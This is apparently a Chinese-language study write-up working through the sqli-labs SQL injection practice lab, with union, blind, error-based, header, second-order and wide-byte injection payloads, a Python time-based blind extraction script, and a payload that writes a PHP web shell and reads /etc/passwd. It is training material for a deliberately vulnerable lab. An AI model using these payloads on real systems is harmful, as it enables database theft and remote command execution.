目录

0x00前言

由于之前一直对sql注入比较疏忽,导致一些比较难的报错注入,延时注入,或是宽字节注入,堆叠注入。。。等等仍然掌握的不是很好,总的来说对于sql不能很灵活的运用,于是有了爆肝sqli-labs的打算,并再次复习以及学习各类sql注入的原理,以及工具sqlmap的使用。

sql重要函数,以及特殊查询:

1 union all select load_file('/etc/passwd')如果拥有FILE
权限可以直接读取/etc/passwd
当然也可以直接向Web根目录写入Web Shell
1 UNION select "<?system($_REQUEST['cmd']);?>" 
into outfile "/var/www/html/victim.com/cmd.php"--(要写入Web shell也需要有FILE权限--管理员权限)
默认清空下root也有FILE权限。
sleep
if

0x01Sqli-labs介绍

Sqli-libs是一个非常好的SQL注入学习实战平台,涵盖了报错注入、盲注、Update注入、INSert注入、Heather注入、二次注入、绕过WAF等等,是一个比较全面的注入平台,它可以直接部署在本地,下载一个phpstudy即可打开,当然赵总的BUU平台上也有这个平台。

0x02刷题开始

## less1

id=1时候页面正常加上’页面报错,说明存在字符型的注入,接下来测试字段数量

?id=1' order by 3--+

order by 3页面返回正常,4的时候出错,说明字段数目为3个

?id=-1' union select 1,2,database()--+

查出数据库为security

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查出表有emails,referers,uagents,users

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'--+

查出字段有:id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password

?id=-1%27%20union%20select%201,2,group_concat(password)%20from%20users--+

查出password字段内容:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin
其他的类似就不一一查询了。

less2

less2在加上id=1’后依然报错,但其使用order by 3无需加上’即可正确查询,因而应当为数字型注入,之后查询语句将’去掉与less1一致。就不一一查询了。

less3

在输入id=1’后报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

猜测查询语句应当为select * from users where (“$_GET[‘id’]”) limit 0,1
因而这是变式的字符型注入,注入时候改为id=1’) order by 3–+
同理改为4时候报错,说明字段数量为4,其他查询语句在less1的基础上加上一个小括号即可。

less4

与less3相比改为了双引号的注入,其他同理
其代码

$id=$_GET['id'];

// connectivity 

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

less5

less5看代码会发现输出语句没有输出查询语句,所以使用普通union查询查不出结果,这道题考的是二次查询,意思是select中嵌套select,也就是说这次的sql注入在sql语句利用处就要报错,而不是通过注入语句让代码主动显示出结果,而是通过报错提示中得到敏感信息。当然看了很多博文来看,其主要依靠mysql中的几个函数中的合作报错。

less8

less8GET-Blind-Boolian Based - Single Quotes(布尔型单引号get盲注)
当id=1时显示You are in……..加上’语句消失,没有任何报错回显,尝试报错注入依旧You are in,因而这里只能采取盲注,那么盲注分2种,这里告诉了我们是bool盲注,先学几个Bool盲注需要用到的函数:
length(str):返回str字符串的长度
substr(str,pos,len)将str从pos位置开始截取len长度的字符并进行返回。这里是从1开始的,不是从数组的0开始
mid(str,pos,len)同样截取字符串
ascii(str)发牛字符串str的最左面字符的ASCII代码值
ord(str)同上,返回ASCII码
if(a,b,c)a为ture返回b,否则返回C
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
if(ascii(substr((select database()),1,1))>64, 1, 0):ascii大于64就返回true,if就返回1,否则返回0
2分法猜数据库名字

    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64  
    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96  
    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122  
    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122  
    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间  
    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间  
    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间  
    http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

参考链接:https://www.jianshu.com/p/1fc798bc7759

less9

进入页面后发现输入什么都显示You are in…所以bool盲注就不行了,这里采用时间的盲注,主要采用if和sleep函数
测试

1' and if(1=1,sleep(5),0) --+  //页面明显延迟,因而存在时间的盲注,接下来直接尝试写一个脚本爆破数据库
1' and if(length(database())>10,sleep(5),1)#

sqllibs的由于加引号就报错因而sqlmap就能直接跑,但为了训练下python编程,还是自己写下脚本。
上脚本:

# coding:utf-8
import requests
import datetime
import time
# 获取数据库名长度


def database_len():
     for i in range(1, 10):
         url = '''http://1ca8ab50-bce4-429e-9925-e145e3d342ae.node3.buuoj.cn/Less-9/?'''
         payload = '''id=1' and if(length(database())>%s,sleep(1),0)''' % i
         # print(url+payload+'%23')
         time1 = datetime.datetime.now()
         r = requests.get(url + payload + '%23')
         time2 = datetime.datetime.now()
         sec = (time2 - time1).seconds
         if sec >= 1:
             print(i)
         else:
             print(i)
             break
     print('database_len:', i)


database_len()
#获取数据库名
def database_name():
     name = ''
     for j in range(1, 9):
         for i in '0123456789abcdefghijklmnopqrstuvwxyz':
             url = '''http://1ca8ab50-bce4-429e-9925-e145e3d342ae.node3.buuoj.cn/Less-9/?'''
             payload = '''id=1' and if(substr(database(),%d,1)='%s',sleep(1),1)''' % (
                 j, i)
             # print(url+payload+'%23')
             time1 = datetime.datetime.now()
             r = requests.get(url + payload + '%23')
             time2 = datetime.datetime.now()
             sec = (time2 - time1).seconds
             if sec >= 1:
                 name += i
                 print(name)
                 break
     print('database_name:', name)


database_name()

上面加了三个单引号后由于是同一行不是注释的作用而是可以让里面无论是双引号还是单引号都好处理。
其他的表和字段类似不一一写脚本了,改一下payload就可以了

less10

less10是双引号时间盲注报错

1" and if(1=1,sleep(3),0) --+   //页面出现明显延迟,存在sql盲注

脚本把上面的改成双引号就可以了。

less11

less11是Post的报错注入,基于单引号。
进入后是个登录框,直接万能密码登录:
http://175.24.19.33/image/_posts/Sqli-labs/less11.png

这里万能密码要能利用并非需要简单的sql注入就行,还需要能猜测用户名。这里用的admin.
但也有后台不用admin为了安全,这时候可以先FUZZ测试用户名,判断回响头是否存在密码错误,这样就是存在的账号,当然很多
登录框为了安全设计回显都显示账号或密码错误。这时候就有点恼火了。

less12

尝试登录:

因而我们需要再加一个小括号闭合前面的username

uname=admin") or '1'='1 --+&password=123
语法报错了。把注释改成#
发现or "1"="1 有错。因而尝试order by
以下密码均随意输入
admin") ordey by 3 #    //Unknown column '3' in 'order clause'
尝试admin") ordey by 2 # //登录成功,字段数目为2
接下来正常的联合查询就可以了。

当然这儿判定是这样的

if($row)
    {
          //echo '<font color= "#0000ff">';    

          echo "<br>";
        echo '<font color= "#FFFF00" font size = 4>';
        //echo " You Have successfully logged in " ;
        echo '<font size="3" color="#0000ff">';    
        echo "<br>";
        echo 'Your Login name:'. $row['username'];
        echo "<br>";
        echo 'Your Password:' .$row['password'];

也就是只要查询成功就登陆成功了,所以如果想要查询下字段内容,可以在uname前面输入不存在的username比如-1之类的达到报错注入。

less13

跟less12类似,把双引号改为单引号即可。

关于上面的注释符–出错的问题。注释符–必须要在后面有个空格才行,因而我们使用–+但有时候+不能被正确解析成空格,因而如果要使用–最后随机跟上一个空格可以– +这样的形式避免出错。
还有#出错的问题是#很多时候不能正确Urlencode的问题。使用%23可以解决这个问题。

less14

再次加上admin”)后页面报错,去掉小括号后成功登陆,其他查询一致,不继续测试了。

less15

登陆admin’页面无响应。猜测可能是Bool盲注,测试
admin’ and 1=1 //成功登陆
admin’ and 1=2 //失败
这里面盲注的概念就是没有使用echo结果的,也就是无回显。因而查找数据库等其他字段就需要使用到ascii等函数通过不断fuzz即可获得正确内容。

脚本跟前面的less8类似不写了。

less16

这里先尝试”发现无页面回显,无报错。因而测试盲注发现 and 1=1与 and 1=2仍然无用,猜测时间盲注。
这里分别尝试

uname=admin' and if(1=1,sleep(3),0)#  //页面无延迟
uname=admin') and if(1=1,sleep(3),0)#  //页面无延迟
uname=admin" and if(1=1,sleep(3),0)#  //页面无延迟
uname=admin") and if(1=1,sleep(3),0)# //页面延迟

脚本和less9类似。

less17

进去后没看提示,指着uname一顿瞎注入,最后无果。只能审计一下代码了:
我们先看一下这个过滤函数

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }

        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }

    else
        {
        $value = intval($value);
        }
    return $value;
    }

如果参数不为空就开始过滤,截取参数的前15个字符串,首先判断魔术引号gpc是否开启然后使用stripslashes过滤参数。
如果参数不是数字,先对参数进行mysql_real_escape_string过滤再进行两个单引号包括进行保护。
这里学习一下stripslashes函数用于删除反斜杠。意思是,gpc加上的反斜杠还会删去(防止宽字节注入)。然后再进行
mysql_real_escape_string过滤。
基本上看是过滤不了了。仔细看会发现

$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

哎,亏我试那么久的uname.原来passwd没有进行过滤
继续往下面看代码发现

if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {

        $row1 = $row['username'];      
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);    
        if (mysql_error())
        {
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
        }
        else
        {
            //echo " You password has been successfully updated " ;        
            echo "<br>";
            echo "</font>";
        }
        //echo 'Your Password:' .$row['password'];




      }
    else  
    {
        //echo "Bug off you Silly Dumb hacker";

}

?>

所以关键造成sql注入的就是下面两句了

$passwd=$_POST['passwd'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

所以构造payload

uname=admin&passwd=123456'-- +

这里要猜解uname是数据库中存在的,否则执行不了下面的update语句。
最后使用admin/123456即可登录。

less18

仔细看显示出了我们的IP,猜测存在XFF注入或者XFF-XSS。或者User-Agent注入。
使用BP抓包测试。
发现修改X-Forwarded-For: 127.0.0.1 页面无变化。
接下来修改User-Agent: Cupid
页面还是无变化。无奈的打开本地的代码:

$uagent = $_SERVER['HTTP_USER_AGENT'];
    $IP = $_SERVER['REMOTE_ADDR'];
    echo "<br>";
    echo 'Your IP ADDRESS is: ' .$IP;
    echo "<br>";
    //echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

这里发现很坑的地方,必须要设置了uname和passwd的情况下才会有下面对IP和uagent的处理。由于IP的获取是获取我们真实的IP,XFF不行。
所以这里使用User-Agent进行注入。
我们再看这些代码

if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);

当时我就想骂人了,要返回结果必须用户名和密码正确,这里才会对uagents进行数据库交互,也就是说less18要想注入,必须得登陆正确得账号。。
what fuck太蛇皮了。都登陆进去了还注入个榴莲。
算了学习要紧admin/admin进去后页面就显示出来我们的user-agent了。这里
当我们修改ua,页面的UA就会更改很明显的注入了。

'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

出现

Your User Agent is: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1</font><br>XPATH syntax error: '~5.5.53~

然鹅BU的账户和密码好像不是admin/admin
因而没有继续做了。

less19

referer的注入,跟上面类似,需要先登录进去。。。注入。。。
构造

Referer: Cupid
页面回显:
Your Referer is: Cupid

利用的话还是可以用报错注入。

less20

cookie的注入


    if(!isset($_POST['submit']))
        {

            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;
            echo "<center>";
            echo '<br><br><br>';
            echo '<img src="../images/Less-20.jpg" />';
            echo "<br><br><b>";
            echo '<br><font color= "red" font size="4">';    
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "</font><br>";    
            echo '<font color= "cyan" font size="4">';    
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            
            echo "</font><br>";            
            echo '<font color= "#FFFF00" font size = 4 >';
            echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
            echo '<font color= "orange" font size = 5 >';            
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);


            echo "<br></font>";
            $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

从上面可以看到在没有提交用户名与密码之前,代码部分设置了一个cookie并使用了sql语句对其进行查询,因而同理可以使用报错注入成功注入。
payload


cookie: uname='and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

这里补充一下,为什么从Header注入开始就使用xpath报错注入了呢,这是因而常规的注入要想获得信息页面必须有一定的显示位用来显示注入后的信息。
但从Header注入开始,页面不会再有位置显示出查询信息。因而报错注入(这里的报错是利用Xpath的报错,跟Xpath注入与普通Union查询区分一下。)可以解决这个问题。

什么是显示位:在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位 。

Less23 GET-Error Based -strip comments

这道题有个新的闭合方式,加单引号报错,但使用

1'+and+'1'='1 --+
1'+or+'1'='1 --+  均无法闭合
1'+or'  --闭合
1'+and' --未闭合
这样的话说明sql注入的语句在几个字段或几个语句之间因而注入语句应当插入到:
1'+sql语句+or'

接下来尝试一下报错注入

id=1'+and+updatexml(1,concat(0x7e,database(),0x7e),1)+or+'  #爆出数据库security
其余就不一一爆出来了
这里之前犯了个很低级的错误,在1'与sql语句直接需要加一个连接符不然是无法执行的,,
1'+updatexml  错误
1'+and+updatexml  可执行

less24-Post-Second Oder injections -Stored injections

首先注册一个admin账号,密码123.

此时会提示已经有用户了,那我们注册admin’#,密码123

登陆进去后修改其密码,修改其为Cupid

然后再使用刚刚修改的admin’的密码发现成功登入admin.

分析一下代码来详解这个过程:

<?php

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");



if (isset($_POST['submit']))
{


# Validating the user input........

    //$username=  $_POST['username'] ;
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);
上面可以看到对传入的参数进行了mysql_escape_string过滤,也就是我们如果传入admin'就会变成admin\'
这里可以看到注册页面是不存在sql注入的由于进行了过滤
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
      $row = mysql_fetch_row($res);

    //print_r($row);
    if (!$row[0]== 0) 
        {
        ?>
        <script>alert("The username Already exists, Please choose a different username ")</script>;
        <?php
        header('refresh:1, url=new_user.php');
           } 
        else 
        {
               if ($pass==$re_pass)
            {
                # Building up the query........

                   $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
 插入数据库时候依然是admin'
                   mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());

创建了admin’ # —->插入数据库中admin’#

当修改密码时候:

if (isset($_POST['submit']))
{    
    # Validating the user input........
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if($pass==$re_pass)
    {    
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();

仔细发现上面代码就知道有个缺陷,username是没有过滤的是从session中直接获取的。

而session中也是直接保存的用户名。当更改密码时候admin’#代入语句执行会闭合前面的’导致整个sql语句修改了admin账号的密码。

我们来看一下这个过程中数据库的变化过程:

当我们修改了admin’#密码为Cupid后:

可以看到上图中admin的账号已经变成Cupid了,但admin’#的密码没有改变。

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
也就是这句话实现了:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
#将后面的句子就当做注释了也就成功实现了:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'
改变了admin的密码。

Less25-Trick with or&and

这道题是过滤了or与and,绕过也比较容易:

使用 ||替代
1' || 1=1 --+ 页面正常
1' || 1=2 --+ 页面错误
这里还有小伙伴说可以用&&
但经过尝试发现不行,具体我觉得应该是&&在url中会被识别为连接符导致失败
&用来连接两个参数值。

Less26

过滤了空格:

可以不适用空格^,||
由于无法使用空格因而闭合不使用注释符而是用'1'='1即可闭合后面
前面使用1'报错,然后利用^sql语句^来连接前后进行注入
id=-1%27^updatexml(1,concat(%27$%27,(database())),0)^%271%27=%272
id=-1%27||updatexml(1,concat(%27$%27,(database())),0)||%271%27=%272
也可以用%a0  url编码方式

Less27

过滤了union和select 这个。。。直接报错注入。。

Less28

Less35

这个看标题就知道啥意思了。应该是后台查询语句id没有使用单引号包含导致addslashes的过滤没起作用

直接整型注入:

id=1+and+updatexml(1,concat(0x7e,database()),1)--+

image-20200822205830787

Less36

这个题采用了以下过滤:

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

可以采用宽字节注入:

id=1%df%27+and+updatexml(1,concat(0x7e,database()),1)--+

由于没有在过滤前设置为gbk导致传入%df与%27组合会有一个utf->gbk的过程导致了sql注入的发生。

Less37

payload:

�' or 1=1#
123
输入以上用户名和密码即可成功登录